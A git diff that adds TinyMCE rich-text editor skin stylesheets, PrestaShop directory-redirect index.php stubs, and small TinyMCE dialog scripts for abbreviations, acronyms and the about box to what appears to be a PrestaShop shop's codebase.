direction:ltr} +.defaultSkin .mceSplitButton a, .defaultSkin .mceSplitButton span {height:20px; display:block} +.defaultSkin .mceSplitButton a.mceAction {width:20px; border:1px solid #F0F0EE; border-right:0;} +.defaultSkin .mceSplitButton span.mceAction {width:20px; background-image:url(../../img/icons.gif);} +.defaultSkin .mceSplitButton a.mceOpen {width:9px; background:url(../../img/icons.gif) -741px 0; border:1px solid #F0F0EE;} +.defaultSkin .mceSplitButton span.mceOpen {display:none} +.defaultSkin table.mceSplitButtonEnabled:hover a.mceAction, .defaultSkin .mceSplitButtonHover a.mceAction, .defaultSkin .mceSplitButtonSelected a.mceAction {border:1px solid #0A246A; border-right:0; background-color:#B2BBD0} +.defaultSkin table.mceSplitButtonEnabled:hover a.mceOpen, .defaultSkin .mceSplitButtonHover a.mceOpen, .defaultSkin .mceSplitButtonSelected a.mceOpen {background-color:#B2BBD0; border:1px solid #0A246A;} +.defaultSkin .mceSplitButtonDisabled .mceAction, .defaultSkin .mceSplitButtonDisabled a.mceOpen {opacity:0.3; -ms-filter:'alpha(opacity=30)'; filter:alpha(opacity=30)} +.defaultSkin .mceSplitButtonActive a.mceAction {border:1px solid #0A246A; background-color:#C2CBE0} +.defaultSkin .mceSplitButtonActive a.mceOpen {border-left:0;} + +/* ColorSplitButton */ +.defaultSkin div.mceColorSplitMenu table {background:#FFF; border:1px solid gray} +.defaultSkin .mceColorSplitMenu td {padding:2px} +.defaultSkin .mceColorSplitMenu a {display:block; width:9px; height:9px; overflow:hidden; border:1px solid #808080} +.defaultSkin .mceColorSplitMenu td.mceMoreColors {padding:1px 3px 1px 1px} +.defaultSkin .mceColorSplitMenu a.mceMoreColors {width:100%; height:auto; text-align:center; font-family:Tahoma,Verdana,Arial,Helvetica; font-size:11px; line-height:20px; border:1px solid #FFF} +.defaultSkin .mceColorSplitMenu a.mceMoreColors:hover {border:1px solid #0A246A; background-color:#B6BDD2} +.defaultSkin a.mceMoreColors:hover {border:1px solid #0A246A} +.defaultSkin .mceColorPreview {margin-left:2px; width:16px; height:4px; overflow:hidden; background:#9a9b9a} +.defaultSkin .mce_forecolor span.mceAction, .defaultSkin .mce_backcolor span.mceAction {overflow:hidden; height:16px} + +/* Menu */ +.defaultSkin .mceMenu {position:absolute; left:0; top:0; z-index:1000; border:1px solid #D4D0C8} +.defaultSkin .mceNoIcons span.mceIcon {width:0;} +.defaultSkin .mceNoIcons a .mceText {padding-left:10px} +.defaultSkin .mceMenu table {background:#FFF} +.defaultSkin .mceMenu a, .defaultSkin .mceMenu span, .defaultSkin .mceMenu {display:block} +.defaultSkin .mceMenu td {height:20px} +.defaultSkin .mceMenu a {position:relative;padding:3px 0 4px 0} +.defaultSkin .mceMenu .mceText {position:relative; display:block; font-family:Tahoma,Verdana,Arial,Helvetica; color:#000; cursor:default; margin:0; padding:0 25px 0 25px; display:block} +.defaultSkin .mceMenu span.mceText, .defaultSkin .mceMenu .mcePreview {font-size:11px} +.defaultSkin .mceMenu pre.mceText {font-family:Monospace} +.defaultSkin .mceMenu .mceIcon {position:absolute; top:0; left:0; width:22px;} +.defaultSkin .mceMenu .mceMenuItemEnabled a:hover, .defaultSkin .mceMenu .mceMenuItemActive {background-color:#dbecf3} +.defaultSkin td.mceMenuItemSeparator {background:#DDD; height:1px} +.defaultSkin .mceMenuItemTitle a {border:0; background:#EEE; border-bottom:1px solid #DDD} +.defaultSkin .mceMenuItemTitle span.mceText {color:#000; font-weight:bold; padding-left:4px} +.defaultSkin .mceMenuItemDisabled .mceText {color:#888} +.defaultSkin .mceMenuItemSelected .mceIcon {background:url(img/menu_check.gif)} +.defaultSkin .mceNoIcons .mceMenuItemSelected a {background:url(img/menu_arrow.gif) no-repeat -6px center} +.defaultSkin .mceMenu span.mceMenuLine {display:none} +.defaultSkin .mceMenuItemSub a {background:url(img/menu_arrow.gif) no-repeat top right;} +.defaultSkin .mceMenuItem td, .defaultSkin .mceMenuItem th {line-height: normal} + +/* Progress,Resize */ +.defaultSkin .mceBlocker {position:absolute; left:0; top:0; z-index:1000; opacity:0.5; -ms-filter:'alpha(opacity=50)'; filter:alpha(opacity=50); background:#FFF} +.defaultSkin .mceProgress {position:absolute; left:0; top:0; z-index:1001; background:url(img/progress.gif) no-repeat; width:32px; height:32px; margin:-16px 0 0 -16px} + +/* Formats */ +.defaultSkin .mce_formatPreview a {font-size:10px} +.defaultSkin .mce_p span.mceText {} +.defaultSkin .mce_address span.mceText {font-style:italic} +.defaultSkin .mce_pre span.mceText {font-family:monospace} +.defaultSkin .mce_h1 span.mceText {font-weight:bolder; font-size: 2em} +.defaultSkin .mce_h2 span.mceText {font-weight:bolder; font-size: 1.5em} +.defaultSkin .mce_h3 span.mceText {font-weight:bolder; font-size: 1.17em} +.defaultSkin .mce_h4 span.mceText {font-weight:bolder; font-size: 1em} +.defaultSkin .mce_h5 span.mceText {font-weight:bolder; font-size: .83em} +.defaultSkin .mce_h6 span.mceText {font-weight:bolder; font-size: .75em} + +/* Theme */ +.defaultSkin span.mce_bold {background-position:0 0} +.defaultSkin span.mce_italic {background-position:-60px 0} +.defaultSkin span.mce_underline {background-position:-140px 0} +.defaultSkin span.mce_strikethrough {background-position:-120px 0} +.defaultSkin span.mce_undo {background-position:-160px 0} +.defaultSkin span.mce_redo {background-position:-100px 0} +.defaultSkin span.mce_cleanup {background-position:-40px 0} +.defaultSkin span.mce_bullist {background-position:-20px 0} +.defaultSkin span.mce_numlist {background-position:-80px 0} +.defaultSkin span.mce_justifyleft {background-position:-460px 0} +.defaultSkin span.mce_justifyright {background-position:-480px 0} +.defaultSkin span.mce_justifycenter {background-position:-420px 0} +.defaultSkin span.mce_justifyfull {background-position:-440px 0} +.defaultSkin span.mce_anchor {background-position:-200px 0} +.defaultSkin span.mce_indent {background-position:-400px 0} +.defaultSkin span.mce_outdent {background-position:-540px 0} +.defaultSkin span.mce_link {background-position:-500px 0} +.defaultSkin span.mce_unlink {background-position:-640px 0} +.defaultSkin span.mce_sub {background-position:-600px 0} +.defaultSkin span.mce_sup {background-position:-620px 0} +.defaultSkin span.mce_removeformat {background-position:-580px 0} +.defaultSkin span.mce_newdocument {background-position:-520px 0} +.defaultSkin span.mce_image {background-position:-380px 0} +.defaultSkin span.mce_help {background-position:-340px 0} +.defaultSkin span.mce_code {background-position:-260px 0} +.defaultSkin span.mce_hr {background-position:-360px 0} +.defaultSkin span.mce_visualaid {background-position:-660px 0} +.defaultSkin span.mce_charmap {background-position:-240px 0} +.defaultSkin span.mce_paste {background-position:-560px 0} +.defaultSkin span.mce_copy {background-position:-700px 0} +.defaultSkin span.mce_cut {background-position:-680px 0} +.defaultSkin span.mce_blockquote {background-position:-220px 0} +.defaultSkin .mce_forecolor span.mceAction {background-position:-720px 0} +.defaultSkin .mce_backcolor span.mceAction {background-position:-760px 0} +.defaultSkin span.mce_forecolorpicker {background-position:-720px 0} +.defaultSkin span.mce_backcolorpicker {background-position:-760px 0} + +/* Plugins */ +.defaultSkin span.mce_advhr {background-position:-0px -20px} +.defaultSkin span.mce_ltr {background-position:-20px -20px} +.defaultSkin span.mce_rtl {background-position:-40px -20px} +.defaultSkin span.mce_emotions {background-position:-60px -20px} +.defaultSkin span.mce_fullpage {background-position:-80px -20px} +.defaultSkin span.mce_fullscreen {background-position:-100px -20px} +.defaultSkin span.mce_iespell {background-position:-120px -20px} +.defaultSkin span.mce_insertdate {background-position:-140px -20px} +.defaultSkin span.mce_inserttime {background-position:-160px -20px} +.defaultSkin span.mce_absolute {background-position:-180px -20px} +.defaultSkin span.mce_backward {background-position:-200px -20px} +.defaultSkin span.mce_forward {background-position:-220px -20px} +.defaultSkin span.mce_insert_layer {background-position:-240px -20px} +.defaultSkin span.mce_insertlayer {background-position:-260px -20px} +.defaultSkin span.mce_movebackward {background-position:-280px -20px} +.defaultSkin span.mce_moveforward {background-position:-300px -20px} +.defaultSkin span.mce_media {background-position:-320px -20px} +.defaultSkin span.mce_nonbreaking {background-position:-340px -20px} +.defaultSkin span.mce_pastetext {background-position:-360px -20px} +.defaultSkin span.mce_pasteword {background-position:-380px -20px} +.defaultSkin span.mce_selectall {background-position:-400px -20px} +.defaultSkin span.mce_preview {background-position:-420px -20px} +.defaultSkin span.mce_print {background-position:-440px -20px} +.defaultSkin span.mce_cancel {background-position:-460px -20px} +.defaultSkin span.mce_save {background-position:-480px -20px} +.defaultSkin span.mce_replace {background-position:-500px -20px} +.defaultSkin span.mce_search {background-position:-520px -20px} +.defaultSkin span.mce_styleprops {background-position:-560px -20px} +.defaultSkin span.mce_table {background-position:-580px -20px} +.defaultSkin span.mce_cell_props {background-position:-600px -20px} +.defaultSkin span.mce_delete_table {background-position:-620px -20px} +.defaultSkin span.mce_delete_col {background-position:-640px -20px} +.defaultSkin span.mce_delete_row {background-position:-660px -20px} +.defaultSkin span.mce_col_after {background-position:-680px -20px} +.defaultSkin span.mce_col_before {background-position:-700px -20px} +.defaultSkin span.mce_row_after {background-position:-720px -20px} +.defaultSkin span.mce_row_before {background-position:-740px -20px} +.defaultSkin span.mce_merge_cells {background-position:-760px -20px} +.defaultSkin span.mce_table_props {background-position:-980px -20px} +.defaultSkin span.mce_row_props {background-position:-780px -20px} +.defaultSkin span.mce_split_cells {background-position:-800px -20px} +.defaultSkin span.mce_template {background-position:-820px -20px} +.defaultSkin span.mce_visualchars {background-position:-840px -20px} +.defaultSkin span.mce_abbr {background-position:-860px -20px} +.defaultSkin span.mce_acronym {background-position:-880px -20px} +.defaultSkin span.mce_attribs {background-position:-900px -20px} +.defaultSkin span.mce_cite {background-position:-920px -20px} +.defaultSkin span.mce_del {background-position:-940px -20px} +.defaultSkin span.mce_ins {background-position:-960px -20px} +.defaultSkin span.mce_pagebreak {background-position:0 -40px} +.defaultSkin span.mce_restoredraft {background-position:-20px -40px} +.defaultSkin span.mce_spellchecker {background-position:-540px -20px} diff --git a/js/tiny_mce/themes/advanced/skins/highcontrast/content.css b/js/tiny_mce/themes/advanced/skins/highcontrast/content.css new file mode 100755 index 0000000..ee3d369 --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/highcontrast/content.css @@ -0,0 +1,24 @@ +body, td, pre { margin:8px;} +body.mceForceColors {background:#FFF; color:#000;} +h1 {font-size: 2em} +h2 {font-size: 1.5em} +h3 {font-size: 1.17em} +h4 {font-size: 1em} +h5 {font-size: .83em} +h6 {font-size: .75em} +.mceItemTable, .mceItemTable td, .mceItemTable th, .mceItemTable caption, .mceItemVisualAid {border: 1px dashed #BBB;} +a.mceItemAnchor {display:inline-block; width:11px !important; height:11px !important; background:url(../default/img/items.gif) no-repeat 0 0;} +span.mceItemNbsp {background: #DDD} +td.mceSelected, th.mceSelected {background-color:#3399ff !important} +img {border:0;} +table, img, hr, .mceItemAnchor {cursor:default} +table td, table th {cursor:text} +ins {border-bottom:1px solid green; text-decoration: none; color:green} +del {color:red; text-decoration:line-through} +cite {border-bottom:1px dashed blue} +acronym {border-bottom:1px dotted #CCC; cursor:help} +abbr {border-bottom:1px dashed #CCC; cursor:help} + +img:-moz-broken {-moz-force-broken-image-icon:1; width:24px; height:24px} +font[face=mceinline] {font-family:inherit !important} +*[contentEditable]:focus {outline:0} diff --git a/js/tiny_mce/themes/advanced/skins/highcontrast/dialog.css b/js/tiny_mce/themes/advanced/skins/highcontrast/dialog.css new file mode 100755 index 0000000..dafcd28 --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/highcontrast/dialog.css @@ -0,0 +1,105 @@ +/* Generic */ +body { +font-family:Verdana, Arial, Helvetica, sans-serif; font-size:11px; +background:#F0F0EE; +color: black; +padding:0; +margin:8px 8px 0 8px; +} + +html {background:#F0F0EE; color:#000;} +td {font-family:Verdana, Arial, Helvetica, sans-serif; font-size:10px;} +textarea {resize:none;outline:none;} +a:link, a:visited {color:black;background-color:transparent;} +a:hover {color:#2B6FB6;background-color:transparent;} +.nowrap {white-space: nowrap} + +/* Forms */ +fieldset {margin:0; padding:4px; border:1px solid #919B9C; font-family:Verdana, Arial; font-size:10px;} +legend {color:#2B6FB6; font-weight:bold;} +label.msg {display:none;} +label.invalid {color:#EE0000; display:inline;background-color:transparent;} +input.invalid {border:1px solid #EE0000;background-color:transparent;} +input {background:#FFF; border:1px solid #CCC;color:black;} +input, select, textarea {font-family:Verdana, Arial, Helvetica, sans-serif; font-size:10px;} +input, select, textarea {border:1px solid #808080;} +input.radio {border:1px none #000000; background:transparent; vertical-align:middle;} +input.checkbox {border:1px none #000000; background:transparent; vertical-align:middle;} +.input_noborder {border:0;} + +/* Buttons */ +#insert, #cancel, input.button, .updateButton { +font-weight:bold; +width:94px; height:23px; +cursor:pointer; +padding-bottom:2px; +float:left; +} + +#cancel {float:right} + +/* Browse */ +a.pickcolor, a.browse {text-decoration:none} +a.browse span {display:block; width:20px; height:18px; background:url(../../img/icons.gif) -860px 0; border:1px solid #FFF; margin-left:1px;} +.mceOldBoxModel a.browse span {width:22px; height:20px;} +a.browse:hover span {border:1px solid #0A246A; background-color:#B2BBD0;} +a.browse span.disabled {border:1px solid white; opacity:0.3; -ms-filter:'alpha(opacity=30)'; filter:alpha(opacity=30)} +a.browse:hover span.disabled {border:1px solid white; background-color:transparent;} +a.pickcolor span {display:block; width:20px; height:16px; background:url(../../img/icons.gif) -840px 0; margin-left:2px;} +.mceOldBoxModel a.pickcolor span {width:21px; height:17px;} +a.pickcolor:hover span {background-color:#B2BBD0;} +a.pickcolor:hover span.disabled {} + +/* Charmap */ +table.charmap {border:1px solid #AAA; text-align:center} +td.charmap, #charmap a {width:18px; height:18px; color:#000; border:1px solid #AAA; text-align:center; font-size:12px; vertical-align:middle; line-height: 18px;} +#charmap a {display:block; color:#000; text-decoration:none; border:0} +#charmap a:hover {background:#CCC;color:#2B6FB6} +#charmap #codeN {font-size:10px; font-family:Arial,Helvetica,sans-serif; text-align:center} +#charmap #codeV {font-size:40px; height:80px; border:1px solid #AAA; text-align:center} + +/* Source */ +.wordWrapCode {vertical-align:middle; border:1px none #000000; background:transparent;} +.mceActionPanel {margin-top:5px;} + +/* Tabs classes */ +.tabs {width:100%; height:18px; line-height:normal;} +.tabs ul {margin:0; padding:0; list-style:none;} +.tabs li {float:left; border: 1px solid black; border-bottom:0; margin:0 2px 0 0; padding:0 0 0 10px; line-height:17px; height:18px; display:block; cursor:pointer;} +.tabs li.current {font-weight: bold; margin-right:2px;} +.tabs span {float:left; display:block; padding:0px 10px 0 0;} +.tabs a {text-decoration:none; font-family:Verdana, Arial; font-size:10px;} +.tabs a:link, .tabs a:visited, .tabs a:hover {color:black;} + +/* Panels */ +.panel_wrapper div.panel {display:none;} +.panel_wrapper div.current {display:block; width:100%; height:300px; overflow:visible;} +.panel_wrapper {border:1px solid #919B9C; padding:10px; padding-top:5px; clear:both; background:white;} + +/* Columns */ +.column {float:left;} +.properties {width:100%;} +.properties .column1 {} +.properties .column2 {text-align:left;} + +/* Titles */ +h1, h2, h3, h4 {color:#2B6FB6; margin:0; padding:0; padding-top:5px;} +h3 {font-size:14px;} +.title {font-size:12px; font-weight:bold; color:#2B6FB6;} + +/* Dialog specific */ +#link .panel_wrapper, #link div.current {height:125px;} +#image .panel_wrapper, #image div.current {height:200px;} +#plugintable thead {font-weight:bold; background:#DDD;} +#plugintable, #about #plugintable td {border:1px solid #919B9C;} +#plugintable {width:96%; margin-top:10px;} +#pluginscontainer {height:290px; overflow:auto;} +#colorpicker #preview {float:right; width:50px; height:14px;line-height:1px; border:1px solid black; margin-left:5px;} +#colorpicker #colors {float:left; border:1px solid gray; cursor:crosshair;} +#colorpicker #light {border:1px solid gray; margin-left:5px; float:left;width:15px; height:150px; cursor:crosshair;} +#colorpicker #light div {overflow:hidden;} +#colorpicker #previewblock {float:right; padding-left:10px; height:20px;} +#colorpicker .panel_wrapper div.current {height:175px;} +#colorpicker #namedcolors {width:150px;} +#colorpicker #namedcolors a {display:block; float:left; width:10px; height:10px; margin:1px 1px 0 0; overflow:hidden;} +#colorpicker #colornamecontainer {margin-top:5px;} diff --git a/js/tiny_mce/themes/advanced/skins/highcontrast/index.php b/js/tiny_mce/themes/advanced/skins/highcontrast/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/highcontrast/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/skins/highcontrast/ui.css b/js/tiny_mce/themes/advanced/skins/highcontrast/ui.css new file mode 100755 index 0000000..81da151 --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/highcontrast/ui.css @@ -0,0 +1,102 @@ +/* Reset */ +.highcontrastSkin table, .highcontrastSkin tbody, .highcontrastSkin a, .highcontrastSkin img, .highcontrastSkin tr, .highcontrastSkin div, .highcontrastSkin td, .highcontrastSkin iframe, .highcontrastSkin span, .highcontrastSkin *, .highcontrastSkin .mceText {border:0; margin:0; padding:0; vertical-align:baseline; border-collapse:separate;} +.highcontrastSkin a:hover, .highcontrastSkin a:link, .highcontrastSkin a:visited, .highcontrastSkin a:active {text-decoration:none; font-weight:normal; cursor:default;} +.highcontrastSkin table td {vertical-align:middle} + +.highcontrastSkin .mceIconOnly {display: block !important;} + +/* External */ +.highcontrastSkin .mceExternalToolbar {position:absolute; border:1px solid; border-bottom:0; display:none; background-color: white;} +.highcontrastSkin .mceExternalToolbar td.mceToolbar {padding-right:13px;} +.highcontrastSkin .mceExternalClose {position:absolute; top:3px; right:3px; width:7px; height:7px;} + +/* Layout */ +.highcontrastSkin table.mceLayout {border: 1px solid;} +.highcontrastSkin .mceIframeContainer {border-top:1px solid; border-bottom:1px solid} +.highcontrastSkin .mceStatusbar a:hover {text-decoration:underline} +.highcontrastSkin .mceStatusbar {display:block; line-height:1.5em; overflow:visible;} +.highcontrastSkin .mceStatusbar div {float:left} +.highcontrastSkin .mceStatusbar a.mceResize {display:block; float:right; width:20px; height:20px; cursor:se-resize; outline:0} + +.highcontrastSkin .mceToolbar td { display: inline-block; float: left;} +.highcontrastSkin .mceToolbar tr { display: block;} +.highcontrastSkin .mceToolbar table { display: block; } + +/* Button */ + +.highcontrastSkin .mceButton { display:block; margin: 2px; padding: 5px 10px;border: 1px solid; border-radius: 3px; -moz-border-radius: 3px; -webkit-border-radius: 3px; -ms-border-radius: 3px; height: 2em;} +.highcontrastSkin .mceButton .mceVoiceLabel { height: 100%; vertical-align: center; line-height: 2em} +.highcontrastSkin .mceButtonDisabled .mceVoiceLabel { opacity:0.6; -ms-filter:'alpha(opacity=60)'; filter:alpha(opacity=60);} +.highcontrastSkin .mceButtonActive, .highcontrastSkin .mceButton:focus, .highcontrastSkin .mceButton:active { border: 5px solid; padding: 1px 6px;-webkit-focus-ring-color:none;outline:none;} + +/* Separator */ +.highcontrastSkin .mceSeparator {display:block; width:16px; height:26px;} + +/* ListBox */ +.highcontrastSkin .mceListBox { display: block; margin:2px;-webkit-focus-ring-color:none;outline:none;} +.highcontrastSkin .mceListBox .mceText {padding: 5px 6px; line-height: 2em; width: 15ex; overflow: hidden;} +.highcontrastSkin .mceListBoxDisabled .mceText { opacity:0.6; -ms-filter:'alpha(opacity=60)'; filter:alpha(opacity=60);} +.highcontrastSkin .mceListBox a.mceText { padding: 5px 10px; display: block; height: 2em; line-height: 2em; border: 1px solid; border-right: 0; border-radius: 3px 0px 0px 3px; -moz-border-radius: 3px 0px 0px 3px; -webkit-border-radius: 3px 0px 0px 3px; -ms-border-radius: 3px 0px 0px 3px;} +.highcontrastSkin .mceListBox a.mceOpen { padding: 5px 4px; display: block; height: 2em; line-height: 2em; border: 1px solid; border-left: 0; border-radius: 0px 3px 3px 0px; -moz-border-radius: 0px 3px 3px 0px; -webkit-border-radius: 0px 3px 3px 0px; -ms-border-radius: 0px 3px 3px 0px;} +.highcontrastSkin .mceListBox:focus a.mceText, .highcontrastSkin .mceListBox:active a.mceText { border-width: 5px; padding: 1px 10px 1px 6px;} +.highcontrastSkin .mceListBox:focus a.mceOpen, .highcontrastSkin .mceListBox:active a.mceOpen { border-width: 5px; padding: 1px 0px 1px 4px;} + +.highcontrastSkin .mceListBoxMenu {overflow-y:auto} + +/* SplitButton */ +.highcontrastSkin .mceSplitButtonDisabled .mceAction {opacity:0.3; -ms-filter:'alpha(opacity=30)'; filter:alpha(opacity=30)} + +.highcontrastSkin .mceSplitButton { border-collapse: collapse; margin: 2px; height: 2em; line-height: 2em;-webkit-focus-ring-color:none;outline:none;} +.highcontrastSkin .mceSplitButton td { display: table-cell; float: none; margin: 0; padding: 0; height: 2em;} +.highcontrastSkin .mceSplitButton tr { display: table-row; } +.highcontrastSkin table.mceSplitButton { display: table; } +.highcontrastSkin .mceSplitButton a.mceAction { padding: 5px 10px; display: block; height: 2em; line-height: 2em; overflow: hidden; border: 1px solid; border-right: 0; border-radius: 3px 0px 0px 3px; -moz-border-radius: 3px 0px 0px 3px; -webkit-border-radius: 3px 0px 0px 3px; -ms-border-radius: 3px 0px 0px 3px;} +.highcontrastSkin .mceSplitButton a.mceOpen { padding: 5px 4px; display: block; height: 2em; line-height: 2em; border: 1px solid; border-radius: 0px 3px 3px 0px; -moz-border-radius: 0px 3px 3px 0px; -webkit-border-radius: 0px 3px 3px 0px; -ms-border-radius: 0px 3px 3px 0px;} +.highcontrastSkin .mceSplitButton .mceVoiceLabel { height: 2em; vertical-align: center; line-height: 2em; } +.highcontrastSkin .mceSplitButton:focus a.mceAction, .highcontrastSkin .mceSplitButton:active a.mceAction { border-width: 5px; border-right-width: 1px; padding: 1px 10px 1px 6px;-webkit-focus-ring-color:none;outline:none;} +.highcontrastSkin .mceSplitButton:focus a.mceOpen, .highcontrastSkin .mceSplitButton:active a.mceOpen { border-width: 5px; border-left-width: 1px; padding: 1px 0px 1px 4px;-webkit-focus-ring-color:none;outline:none;} + +/* Menu */ +.highcontrastSkin .mceNoIcons span.mceIcon {width:0;} +.highcontrastSkin .mceMenu {position:absolute; left:0; top:0; z-index:1000; border:1px solid; } +.highcontrastSkin .mceMenu table {background:white; color: black} +.highcontrastSkin .mceNoIcons a .mceText {padding-left:10px} +.highcontrastSkin .mceMenu a, .highcontrastSkin .mceMenu span, .highcontrastSkin .mceMenu {display:block;background:white; color: black} +.highcontrastSkin .mceMenu td {height:2em} +.highcontrastSkin .mceMenu a {position:relative;padding:3px 0 4px 0; display: block;} +.highcontrastSkin .mceMenu .mceText {position:relative; display:block; cursor:default; margin:0; padding:0 25px 0 25px;} +.highcontrastSkin .mceMenu pre.mceText {font-family:Monospace} +.highcontrastSkin .mceMenu .mceIcon {position:absolute; top:0; left:0; width:26px;} +.highcontrastSkin td.mceMenuItemSeparator {border-top:1px solid; height:1px} +.highcontrastSkin .mceMenuItemTitle a {border:0; border-bottom:1px solid} +.highcontrastSkin .mceMenuItemTitle span.mceText {font-weight:bold; padding-left:4px} +.highcontrastSkin .mceNoIcons .mceMenuItemSelected span.mceText:before {content: "\2713\A0";} +.highcontrastSkin .mceMenu span.mceMenuLine {display:none} +.highcontrastSkin .mceMenuItemSub a .mceText:after {content: "\A0\25B8"} +.highcontrastSkin .mceMenuItem td, .highcontrastSkin .mceMenuItem th {line-height: normal} + +/* ColorSplitButton */ +.highcontrastSkin div.mceColorSplitMenu table {background:#FFF; border:1px solid; color: #000} +.highcontrastSkin .mceColorSplitMenu td {padding:2px} +.highcontrastSkin .mceColorSplitMenu a {display:block; width:16px; height:16px; overflow:hidden; color:#000; margin: 0; padding: 0;} +.highcontrastSkin .mceColorSplitMenu td.mceMoreColors {padding:1px 3px 1px 1px} +.highcontrastSkin .mceColorSplitMenu a.mceMoreColors {width:100%; height:auto; text-align:center; font-family:Tahoma,Verdana,Arial,Helvetica; font-size:11px; line-height:20px; border:1px solid #FFF} +.highcontrastSkin .mceColorSplitMenu a.mceMoreColors:hover {border:1px solid; background-color:#B6BDD2} +.highcontrastSkin a.mceMoreColors:hover {border:1px solid #0A246A; color: #000;} +.highcontrastSkin .mceColorPreview {display:none;} +.highcontrastSkin .mce_forecolor span.mceAction, .highcontrastSkin .mce_backcolor span.mceAction {height:17px;overflow:hidden} + +/* Progress,Resize */ +.highcontrastSkin .mceBlocker {position:absolute; left:0; top:0; z-index:1000; opacity:0.5; -ms-filter:'alpha(opacity=30)'; filter:alpha(opacity=50); background:#FFF} +.highcontrastSkin .mceProgress {position:absolute; left:0; top:0; z-index:1001; background:url(../default/img/progress.gif) no-repeat; width:32px; height:32px; margin:-16px 0 0 -16px} + +/* Formats */ +.highcontrastSkin .mce_p span.mceText {} +.highcontrastSkin .mce_address span.mceText {font-style:italic} +.highcontrastSkin .mce_pre span.mceText {font-family:monospace} +.highcontrastSkin .mce_h1 span.mceText {font-weight:bolder; font-size: 2em} +.highcontrastSkin .mce_h2 span.mceText {font-weight:bolder; font-size: 1.5em} +.highcontrastSkin .mce_h3 span.mceText {font-weight:bolder; font-size: 1.17em} +.highcontrastSkin .mce_h4 span.mceText {font-weight:bolder; font-size: 1em} +.highcontrastSkin .mce_h5 span.mceText {font-weight:bolder; font-size: .83em} +.highcontrastSkin .mce_h6 span.mceText {font-weight:bolder; font-size: .75em} diff --git a/js/tiny_mce/themes/advanced/skins/index.php b/js/tiny_mce/themes/advanced/skins/index.php new file mode 100755 index 0000000..319128b --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/abbr.js b/js/tiny_mce/themes/advanced/skins/o2k7/abbr.js new file mode 100755 index 0000000..1790e83 --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/o2k7/abbr.js @@ -0,0 +1,28 @@ +/** + * abbr.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +function init() { + SXE.initElementDialog('abbr'); + if (SXE.currentAction == "update") { + SXE.showRemoveButton(); + } +} + +function insertAbbr() { + SXE.insertElement('abbr'); + tinyMCEPopup.close(); +} + +function removeAbbr() { + SXE.removeElement('abbr'); + tinyMCEPopup.close(); +} + +tinyMCEPopup.onInit.add(init); diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/about.js b/js/tiny_mce/themes/advanced/skins/o2k7/about.js new file mode 100755 index 0000000..daf4909 --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/o2k7/about.js @@ -0,0 +1,73 @@ +tinyMCEPopup.requireLangPack(); + +function init() { + var ed, tcont; + + tinyMCEPopup.resizeToInnerSize(); + ed = tinyMCEPopup.editor; + + // Give FF some time + window.setTimeout(insertHelpIFrame, 10); + + tcont = document.getElementById('plugintablecontainer'); + document.getElementById('plugins_tab').style.display = 'none'; + + var html = ""; + html += ''; + html += ''; + html += ''; + html += ''; + html += ''; + html += ''; + html += ''; + html += ''; + html += ''; + + tinymce.each(ed.plugins, function(p, n) { + var info; + + if (!p.getInfo) + return; + + html += ''; + + info = p.getInfo(); + + if (info.infourl != null && info.infourl != '') + html += ''; + else + html += ''; + + if (info.authorurl != null && info.authorurl != '') + html += ''; + else + html += ''; + + html += ''; + html += ''; + + document.getElementById('plugins_tab').style.display = ''; + + }); + + html += ''; + html += '
    ' + ed.getLang('advanced_dlg.about_plugin') + '' + ed.getLang('advanced_dlg.about_author') + '' + ed.getLang('advanced_dlg.about_version') + '
    ' + info.longname + '' + info.longname + '' + info.author + '' + info.author + '' + info.version + '
    '; + + tcont.innerHTML = html; + + tinyMCEPopup.dom.get('version').innerHTML = tinymce.majorVersion + "." + tinymce.minorVersion; + tinyMCEPopup.dom.get('date').innerHTML = tinymce.releaseDate; +} + +function insertHelpIFrame() { + var html; + + if (tinyMCEPopup.getParam('docs_url')) { + html = ''; + document.getElementById('iframecontainer').innerHTML = html; + document.getElementById('help_tab').style.display = 'block'; + document.getElementById('help_tab').setAttribute("aria-hidden", "false"); + } +} + +tinyMCEPopup.onInit.add(init); diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/acronym.js b/js/tiny_mce/themes/advanced/skins/o2k7/acronym.js new file mode 100755 index 0000000..93b8d25 --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/o2k7/acronym.js @@ -0,0 +1,28 @@ +/** + * acronym.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +function init() { + SXE.initElementDialog('acronym'); + if (SXE.currentAction == "update") { + SXE.showRemoveButton(); + } +} + +function insertAcronym() { + SXE.insertElement('acronym'); + tinyMCEPopup.close(); +} + +function removeAcronym() { + SXE.removeElement('acronym'); + tinyMCEPopup.close(); +} + +tinyMCEPopup.onInit.add(init); diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/advhr.css 